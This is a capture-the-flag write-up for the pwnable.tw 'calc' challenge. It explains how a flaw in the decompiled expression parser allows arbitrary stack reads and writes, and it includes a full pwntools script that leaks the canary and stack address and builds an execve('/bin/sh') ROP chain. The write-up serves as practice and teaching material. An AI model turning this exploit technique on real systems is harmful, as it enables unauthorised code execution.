Challenge


Analyze & Vulnerability

It seems like calculating system.


OK, this is an expression error..


Segmentation fault!?? Let's check why.


using IDA, I checked that main function has 60seconds of alarm and it calls 'calc' function.

In calc function, there is an infinite loop and in it, it reads expression using get_expr function and parse_expr function is used to parse and calculate the expression.

In get_expr function, it reads expression and store it at stack of calc function.

Don't append the capture, but init_pool function makes v1 and v2 be zero. (v1 and v2 in calc function)

signed int __cdecl parse_expr(int a1, _DWORD *a2)
{
  int v2; // ST2C_4
  int v4; // eax
  int v5; // [esp+20h] [ebp-88h]
  int i; // [esp+24h] [ebp-84h]
  int v7; // [esp+28h] [ebp-80h]
  char *s1; // [esp+30h] [ebp-78h]
  int v9; // [esp+34h] [ebp-74h]
  char s[100]; // [esp+38h] [ebp-70h]
  unsigned int v11; // [esp+9Ch] [ebp-Ch]

  v11 = __readgsdword(0x14u);
  v5 = a1;
  v7 = 0;
  bzero(s, 0x64u);
  for ( i = 0; ; ++i )
  {
    if ( (unsigned int)(*(char *)(i + a1) - 0x30) > 9 ) // if *(i+a1) is not a number
    {
      v2 = i + a1 - v5;
      s1 = (char *)malloc(v2 + 1);
      memcpy(s1, v5, v2);
      s1[v2] = 0;
      if ( !strcmp(s1, "0") )
      {
        puts("prevent division by zero");
        fflush(stdout);
        return 0;
      }
      v9 = atoi(s1);
      if ( v9 > 0 )
      {
        v4 = (*a2)++;
        a2[v4 + 1] = v9;
      }
      if ( *(_BYTE *)(i + a1) && (unsigned int)(*(char *)(i + 1 + a1) - 48) > 9 )
      {
        puts("expression error!");
        fflush(stdout);
        return 0;
      }
      v5 = i + 1 + a1;
      if ( s[v7] )
      {
        switch ( *(char *)(i + a1) )
        {
          case '%':
          case '*':
          case '/':
            if ( s[v7] != '+' && s[v7] != '-' )
            {
              eval(a2, s[v7]);
              s[v7] = *(_BYTE *)(i + a1);
            }
            else
            {
              s[++v7] = *(_BYTE *)(i + a1);
            }
            break;
          case '+':
          case '-':
            eval(a2, s[v7]);
            s[v7] = *(_BYTE *)(i + a1);
            break;
          default:
            eval(a2, s[v7--]);
            break;
        }
      }
      else
      {
        s[v7] = *(_BYTE *)(i + a1);
      }
      if ( !*(_BYTE *)(i + a1) )
        break;
    }
  }
  while ( v7 >= 0 )
    eval(a2, s[v7--]);
  return 1;
}

eval function is easy one. when eval(int *a1, char a2), a2 is an operator.

operands are at a1[*a1-1] and a1[*a1] becuase *a1 is always size of stack (it's in the stack of parse_expr function)

So, what's happen when we entered '+10000' as an expression?

In parse_expr function, let's have a look.

At first, letter '+'.

a2[1] = 0 & s[0] = '+'

Next, letter '\x00' (which follows '10000')

.....


Anyway, you can leak the value in stack with this method and also can write the value in the specific stack memory.

So you can make rop chain to get the shell!

(In fact, you can plus any value to the original value in the stack.)



FL4G

#!/usr/bin/env python
# pwnable.tw calc

from pwn import *

debug = 0

pop_eax = 0x0805c34b # pop eax ; ret
pop_ecx_ebx = 0x080701d1 # pop ecx ; pop ebx ; ret
pop_edx = 0x080701aa # pop edx ; ret
int80 = 0x08049a21 # int 0x80

def send_rop(addr, val):
	if val > 0x7fffffff:
		s.sendline('+'+str(addr+1))
		ori_val = int(s.recvline().strip())
		if debug:
			log.info('ori : '+hex(ori_val))
		diff = 0x100000000 + ori_val - val
		s.sendline('+'+str(addr)+'+00%'+str(diff))
	else:
		s.sendline('+'+str(addr)+'+'+str(val))
	s.recvline()

def exploit():
	s.recvline()
	# canary leak
	s.sendline('+357')
	canary = int(s.recvline().strip())
	if canary < 0:
		canary += 0x100000000
	if debug:
		log.info('canary : '+hex(canary))

	# stack leak
	s.sendline('+360')
	stack = int(s.recvline().strip())- 0x20	# ebp in calc()
	if stack < 0:
		stack += 0x100000000
	if debug:
		log.info('stack : '+hex(stack))

	bss_offset = (0x100000000 - (stack - 0x5a0) + 0x080eb050)

	send_rop(bss_offset / 4 + 1, u32('/sh\x00'))
	send_rop(bss_offset / 4, u32('/bin'))
	send_rop(367, int80)
	send_rop(366, 0x080eb040)
	send_rop(365, pop_edx)
	send_rop(364, 0x080eb054)
	send_rop(363, 0x080eb040)
	send_rop(362, pop_ecx_ebx)
	send_rop(361, 0x0b)
	send_rop(360, pop_eax)
	s.sendline(' ')

if __name__ == '__main__':
	if debug:
		s = process('./calc')
		pause()
	else:
		s = remote('chall.pwnable.tw', 10100)

	exploit()
	s.interactive()
	s.close()

Actually, canary leak is unnecessary :)


sol_calc.py


'pwnable.tw' 카테고리의 다른 글

[pwnable.tw] Silver Bullet writeup  (0) 2018.10.11
[pwnable.tw] hacknote writeup  (0) 2018.10.11
[pwnable.tw] dubblesort writeup  (0) 2018.10.11
[pwnable.tw] orw writeup  (0) 2018.10.11
[pwnable.tw] start writeup  (0) 2018.09.29

+ Recent posts